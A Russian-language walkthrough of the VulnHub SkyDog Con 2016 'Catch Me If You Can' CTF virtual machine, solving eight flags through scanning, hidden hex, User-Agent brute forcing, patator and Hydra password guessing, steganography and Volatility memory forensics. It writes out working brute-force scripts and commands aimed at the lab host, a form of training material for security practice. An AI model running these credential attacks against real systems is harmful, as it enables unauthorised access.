VulnHub Разбор заданий с CTF SkyDog: 2016 — Catch Me If You Can
Продолжаем разбор лаб с VulnHub. На этот раз будем разбирать решение CTF с недавней конференции по информационной безопасности SkyDog Con
Начнём
Скачиваем образ для VirtualBox, запускаем и как обычно смотрим вывод nmap`а:
sudo nmap 192.168.1.174 -sV -sC -p1-65535
Starting Nmap 7.01 (nmap.org) at 2016–12–18 19:39 MSK
Nmap scan report for 192.168.1.174
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: SkyDog Con CTF 2016 — Catch Me If You Can
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=Network Solutions EV Server CA 2/organizationName=Network Solutions L.L. C./stateOrProvinceName=VA/countryName=US
| Not valid before: 2016–09–21T14:51:57
|_Not valid after: 2017–09–21T14:51:57
|_ssl-date: TLS randomness does not represent time
22222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:64:7c: d1:55:46:4e:50: e3: ba: cf:4c:1e:81: f9: db (RSA)
|_ 256 ef:17: df: cc: db:2e: c5:24: e3:9e:25:16:3d:25:68:35 (ECDSA)
MAC Address: 08:00:27: D3:70:74 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o: linux: linux_kernel:3 cpe:/o: linux: linux_kernel:4
OS details: Linux 3.10 — 4.1
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o: linux: linux_kernel
Нам доступны 3 порта SSH (22222), HTTP (80), HTTPS (443).
Flag#1 — «Don«t go Home Frank! There«s a Hex on Your House»
Судя из описания к первому флагу, нам нужно искать что-либо похожее на HEX последовательность.
Беглый осмотр сайта не дал результата, скан файлов и директорий тоже особо ситуацию не прояснил:
sudo dirsearch -u http://192.168.1.174 -e php,txt,json,bak,html -w /usr/share/dirb/wordlists/big.txt -r -f
Заглянув в код главной страницы видим следующее:
Хм, странно, зачем нужно удалить этот код перед публикацией. Загляну внутрь /oldIE/html5.js, находим ту самую HEX последовательность о которой говорилось в описании флага:
Декодируем, и получаем первый флаг: flag{7c0132070a0ef71d542663e9dc1f5dee}. Это md5 от nmap.
Flag#2 — «Obscurity or Security? That is the Question»
Dirsearch выдал нам 403 на странице /personnel. Пробуем её открыть, дабы узнать подробности, в ответ получаем единственное сообщение:
ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging…
Попробовав изменить User-Agent в запросе, получаем тот же результат. Nikto тут нам тоже не помог, как и надежда на то, что на https крутится другая версия сайта. Предположив, что в флаге 1 была подсказка, и снова взглянув на лог, вспоминаем про нестандартный ssh порт. Коннектимся туда от root:
ssh root@192.168.1.174 -p 22222
Находим второй флаг: Flag{53c82eba31f6d416f331de9162ebe997}, в котором хеш от encrypt
Flag#3 — «During his Travels Frank has Been Known to Intercept Traffic»
И так, речь идёт о перехвате трафика, предыдущий флаг, отсылает нас к шифрованию. Не трудно догадаться, что нужно заглянуть в дамп SSL трафика, который идёт при загрузке страницы.
Запускаем Wireshark, выставляем фильтр для отображения пакетов только с сайта:
ip.addr == 192.168.1.174
Переходим на 192.168.1.174, кликаем по ссылкам, что нам доступны, и далее переходим к просмотру трафика:
Флаг найден: flag3{f82366a9ddc064585d54e3f78bde3221}, это оказывается хеш от personnel
P.S. Как выяснилось позже, флаг можно было найти просто заглянув в браузере в свойства https сертификата:
Flag#4 — «A Good Agent is Hard to Find»
Из третьего флага и описания, следует что моё изначальное предположение о том, что для входа на страницу /personnel требуется верный User-Agent, оказалось верным.
Скачиваем список всех User-Agent`ов. Далее используя следующий скрипт на Python запускаем перебор.
import requests
import sys
url = 'http://192.168.1.174/personnel'
ua_file = sys.argv[1]
head = {'User-Agent':''}
bad_resp = 'ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging....'
file = open(ua_file, 'r').read().splitlines()
for item in file:
head['User-Agent'] = item.strip()
req = requests.get(url, headers=head)
if req.text != bad_resp:
print('Found UA: %s' %(item))
print(req.text)
Результат не заставил себя долго ждать:
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 98)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 95)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Mac_68K)
Found UA: Mozilla/4.0 PPC (compatible; MSIE 4.01; Windows CE; PPC; 240×320; Sprint: PPC-6700; PPC; 240×320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint; PPC-i830; PPC; 240×320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint; SCH-i830; PPC; 240×320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint: SPH-ip830w; PPC; 240×320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint: SPH-ip320; Smartphone; 176×220)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint: SCH-i830; PPC; 240×320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint: SCH-i320; Smartphone; 176×220)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint: PPC-i830; PPC; 240×320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 176×220)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240×320; Sprint: PPC-6700; PPC; 240×320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240×320; PPC)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; Hotbar 3.0)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; DigExt)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC)
Found UA: Mozilla/4.0 WebTV/2.6 (compatible; MSIE 4.0)
Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT)
Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 98)
Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95)
Found UA: Mozilla/4.0 (Compatible; MSIE 4.0)
Found UA: Mozilla/2.0 (compatible; MSIE 4.0; Windows 98)
Found UA: nuSearch Spider (compatible; MSIE 4.01; Windows NT)
Судя по всему ФБР пользуется только MSIE 4.0:) После замены в браузере User-Agent и перехода по ссылке, попадаем на FBI Portal агента Hanratty, и в самом низу страницы видим очередной флаг:
md5online любезно сообщил что это хеш от evidence.
Flag#5 — «The Devil is in the Details — Or is it Dialogue? Either Way, if it«s Simple, Guessable, or Personal it Goes Against Best Practices»
Рядом с флагом, можем наблюдать ещё одну подсказку это newevidence. А из описания флага следует, что нужно искать детали.
В глаза сразу бросается разница между не отсортированным и отсортированным списками, а так же ещё несколько деталей, собрав всё в кучу получаем следующий список:
Manhattan
Heidelbery
Great American Masterpiece
Miami
July 16, 2009
617468
inconsequential
newevidence
Hanratty
После долгих поисков по этим ключевым словам, можно наткнуться на ссылку. Полистав её находим:
Agent Carl Hanratty — герой произведения
Catch Me If You Can — книга
Miami — сцена 17 фильма
Heidelberg — печатная машина из фильма
Продолжим, забив этот список в файл, и запустив перебор директорий и файлов находим кое-что интересное:
Отлично мы нашли форму авторизации! У нас есть пользователь: Carl Hanratty, из названия флага можно предположить, что пароль, это что-то простое — личная информация.
Приступим к перебору. Сгенерив словарь вероятных логинов запускаем patator, скармливаем ему набор словарей SecLists
for item in $(find SecLists/ -name "*\.txt"); do sudo patator http_fuzz url=http://192.168.1.174/newevidence auth_type=basic accept_cookie=1 follow=1 -x ignore:code=401 header='User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0)' user_pass="FILE0:FILE1" 0=logins.txt 1=$item; done
И спустя некоторое время получаем исходную комбинацию:
INFO — 200 1462:676 0.011 | carl.hanratty: Grace | 37586 | HTTP/1.1 200 OK
P.S. Детального изучив фильм или книгу, становится понятно, что Грейс это дочь Карла.
После авторизации попадаем на страницу:
И перейдя по одной из ссылок находим флаг: flag{117c240d49f54096413dd64280399ea9}. После расшифровки, получаем слово: panam
Flag#6 — «Where in the World is Frank?»
«Где Фрэнк?» — хм… Вернувшись на сайт видим ссылку Possible Location, перейдя по которой, нам открывается картинка:
Картинка довольно объёмная, что наводит на мысль, о том что в ней тут есть что-то ещё
sudo binwalk image.jpg
В картинке у нас индексный файл MyISAM на 2Мб. В сети можно найти описание формата этого файла. Изучив его, понимаем, что индексы MySQL не могут содержать искомый нами флаг. Далее предположив, что мы имеем дело со стеганографией, посмотрим на вывод steghide.
После выполнения команды, у нас появляется запрос пароля.
steghide info image.jpg
Хм, интересно, пробуем ввести panam получаем такой вывод:
«image.jpg»:
format: jpeg
capacity: 230,1 KB
Try to get information about embedded data? (y/n) y
Enter passphrase:
embedded file «flag.txt»:
size: 71,0 Byte
encrypted: rijndael-128, cbc
compressed: yes
Извлекаем файл, в файле находим очередной флаг flag{d1e5146b171928731385eb7ea38c37b8} и новую подсказку: clue=iheartbrenda
Flag#7 — «Frank Was Caught on Camera Cashing Checks and Yelling — I«m The Fastest Man Alive!»
Загуглив описание флага, можно найти отсылку к сериалу FLASH, а заглянув на вики узнаём следующее:
Frank calls him, attempting to apologize for duping Carl. Carl rejects his apology and tells him he will soon be caught, but laughs when he realizes Frank actually called him because he has no one else to talk to. Frank hangs up, and Carl continues to investigate, suddenly realizing (thanks to a waiter) that the name «Barry Allen» is from the Flash comic books and that Frank is actually a teenager.Frank, meanwhile, has expanded his con to include the identities of a doctor and lawyer. While playing Dr. Frank Conners, he falls in love with Brenda (Amy Adams).
Но что могут значить эти подсказки? Вспомнив про забытый в самом начале ssh. Всё сразу начало сходиться. У нас есть 2 фразы iheartbrenda и ILoveFrance, и несколько новых имён:
Frank Conners
Barry Allen
Carl Hanratty
#!/bin/bash
import sys
def Usage():
print('Usage: ./NtoL.py [namelist]')
exit(0)
if len(sys.argv) <= 1: Usage()
nameList = open(sys.argv[1]).read().splitlines()
out = open(sys.argv[1], 'w')
for item in nameList:
item = item.split(' ')
out.write( '%s%s\n' %(item[0], item[1]) )
out.write( '%s.%s\n' %(item[0], item[1]) )
out.write( '%s%s\n' %(item[0][0], item[1]) )
out.write( '%s.%s\n' %(item[0][0], item[1]) )
out.write( ('%s%s\n' %(item[0], item[1])).lower() )
out.write( ('%s.%s\n' %(item[0], item[1])).lower() )
out.write( ('%s%s\n' %(item[0][0], item[1])).lower() )
out.write( ('%s.%s\n' %(item[0][0], item[1])).lower() )
out.close()
На выходе получаем такой словарь логинов для перебора:
CarlHanratty
Carl.Hanratty
CHanratty
C.Hanratty
carlhanratty
carl.hanratty
chanratty
c.hanratty
BarryAllen
Barry.Allen
BAllen
B.Allen
barryallen
barry.allen
ballen
b.allen
FrankConners
Frank.Conners
FConners
F.Conners
frankconners
frank.conners
fconners
f.conners
Отправляем всё в Hydra и результат не заставляет себя долго ждать:
hydra -L logins.txt -P flag7pwd ssh://192.168.1.174 -s 22222
Входим, и сразу находим флаг:
После расшифровки флага получаем: theflash
Flag#8 — «Franks Lost His Mind or Maybe it«s His Memory. He«s Locked Himself Inside the Building. Find the Code to Unlock the Door Before He Gets Himself Killed!»
В той же директории, в которой мы нашли флаг, есть подозрительный файл: security-system.data
Скачиваем его себе, для дальнейшего анализа:
scp -P 22222 barryallen@192.168.1.174:~/security-system.data ./
И так перед нами архив, распаковываем его:
$ file security-system.data
security-system.data: Zip archive data, at least v2.0 to extract
$ 7z x -oSS security-system.data
$ cd ./SS
$ ls
security-system.data
$ file security-system.data
security-system.data: data
Формат не определился, зато размер 1Гб. Binwalk какой-либо вразумительной информации не дал, поэтому попробуем volatility:
volatility -f security-system.data imageinfo
Volatility Foundation Volatility Framework 2.5
INFO: volatility.debug: Determining profile based on KDBG search…
Suggested Profile (s): WinXPSP2×86, WinXPSP3×86 (Instantiated with WinXPSP2×86)
AS Layer1: IA32PagedMemoryPae (Kernel AS)
AS Layer2: FileAddressSpace (/CTF/VulnHub/SkyDog2016/SS/security-system.data)
PAE type: PAE
DTB: 0×33e000L
KDBG: 0×80545b60L
Number of Processors: 1
Image Type (Service Pack): 3
KPCR for CPU 0: 0xffdff000L
KUSER_SHARED_DATA: 0xffdf0000L
Image date and time: 2016–10–10 22:00:50 UTC+0000
Image local date and time: 2016–10–10 18:00:50 -0400
Отлично, перед нами дамп памяти ОС WinXP. Начнём извлекать из него полезную информацию, и начнём с модуля cmdline, так как он первый в списке, и наиболее интересен:
volatility -f security-system.data --profile=WinXPSP2x86 cmdline
************************************************************************
System pid: 4
************************************************************************
smss.exe pid: 332
Command line: \SystemRoot\System32\smss.exe
************************************************************************
csrss.exe pid: 560
Command line: C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,3072,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv: UserServerDllInitialization,3 ServerDll=winsrv: ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=16
************************************************************************
winlogon.exe pid: 588
Command line: winlogon.exe
************************************************************************
services.exe pid: 664
Command line: C:\WINDOWS\system32\services.exe
************************************************************************
lsass.exe pid: 676
Command line: C:\WINDOWS\system32\lsass.exe
************************************************************************
vmacthlp.exe pid: 848
Command line: «C:\Program Files\VMware\VMware Tools\vmacthlp.exe»
************************************************************************
svchost.exe pid: 860
Command line: C:\WINDOWS\system32\svchost -k DcomLaunch
************************************************************************
svchost.exe pid: 944
Command line: C:\WINDOWS\system32\svchost -k rpcss
************************************************************************
svchost.exe pid: 1040
Command line: C:\WINDOWS\System32\svchost.exe -k netsvcs
************************************************************************
svchost.exe pid: 1092
Command line: C:\WINDOWS\system32\svchost.exe -k NetworkService
************************************************************************
svchost.exe pid: 1144
Command line: C:\WINDOWS\system32\svchost.exe -k LocalService
************************************************************************
explorer.exe pid: 1540
Command line: C:\WINDOWS\Explorer.EXE
************************************************************************
spoolsv.exe pid: 1636
Command line: C:\WINDOWS\system32\spoolsv.exe
************************************************************************
VGAuthService.e pid: 1900
Command line: «C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe»
************************************************************************
vmtoolsd.exe pid: 2012
Command line: «C:\Program Files\VMware\VMware Tools\vmtoolsd.exe»
************************************************************************
wmiprvse.exe pid: 488
Command line: C:\WINDOWS\system32\wbem\wmiprvse.exe
************************************************************************
wscntfy.exe pid: 536
Command line: C:\WINDOWS\system32\wscntfy.exe
************************************************************************
alg.exe pid: 624
Command line: C:\WINDOWS\System32\alg.exe
************************************************************************
vmtoolsd.exe pid: 1352
Command line: «C:\Program Files\VMware\VMware Tools\vmtoolsd.exe» -n vmusr
************************************************************************
ctfmon.exe pid: 1356
Command line: «C:\WINDOWS\system32\ctfmon.exe»
************************************************************************
CCleaner.exe pid: 1388
Command line: «C:\Program Files\CCleaner\CCleaner.exe» /MONITOR
************************************************************************
cmd.exe pid: 1336
Command line: «C:\WINDOWS\system32\cmd.exe»
************************************************************************
wuauclt.exe pid: 1884
Command line: «C:\WINDOWS\system32\wuauclt.exe» /RunStoreAsComServer Local\[410]SUSDS4ea33fbaffc4ad40bbd1dc3ac93ee5cb
************************************************************************
wuauclt.exe pid: 1024
Command line: «C:\WINDOWS\system32\wuauclt.exe»
************************************************************************
notepad.exe pid: 268
Command line: «C:\WINDOWS\system32\NOTEPAD.EXE» C:\Documents and Settings\test\Desktop\code.txt
************************************************************************
cmd.exe pid: 1276
Последним редактировался файл code.txt. Запустив следующий модуль cmdscan, находим ещё одну интересную запись:
volatility -f security-system.data --profile=WinXPSP2x86 cmdscan
**************************************************
CommandProcess: csrss.exe Pid: 560
CommandHistory: 0×10186f8 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0×2d4
Cmd #0 @ 0×1024400: cd Desktop
Cmd #1 @ 0×4f2660: echo 66 6c 61 67 7b 38 34 31 64 64 33 64 62 32 39 62 30 66 62 62 64 38 39 63 37 62 35 62 65 37 36 38 63 64 63 38 31 7d > code.txt
После декодирования этой HEX последовательности, например тут, получаем последний флаг:
flag{841dd3db29b0fbbd89c7b5be768cdc81}, в котором захеширована фраза: Two[space]little[space]mice
Выполнив команду:
volatility -f security-system.data --profile=WinXPSP2x86 notepad
Можно получить дамп текста из notepad, и убедиться что это именно нужный нам флаг:
Volatility Foundation Volatility Framework 2.5
Process: 268
Text:
?Text:
dText:
Text:
?Text:
66 6c 61 67 7b 38 34 31 64 64 33 64 62 32 39 62 30 66 62 62 64 38 39 63 37 62 35 62 65 37 36 38 63 64 63 38 31 7d
CTF Пройден!!!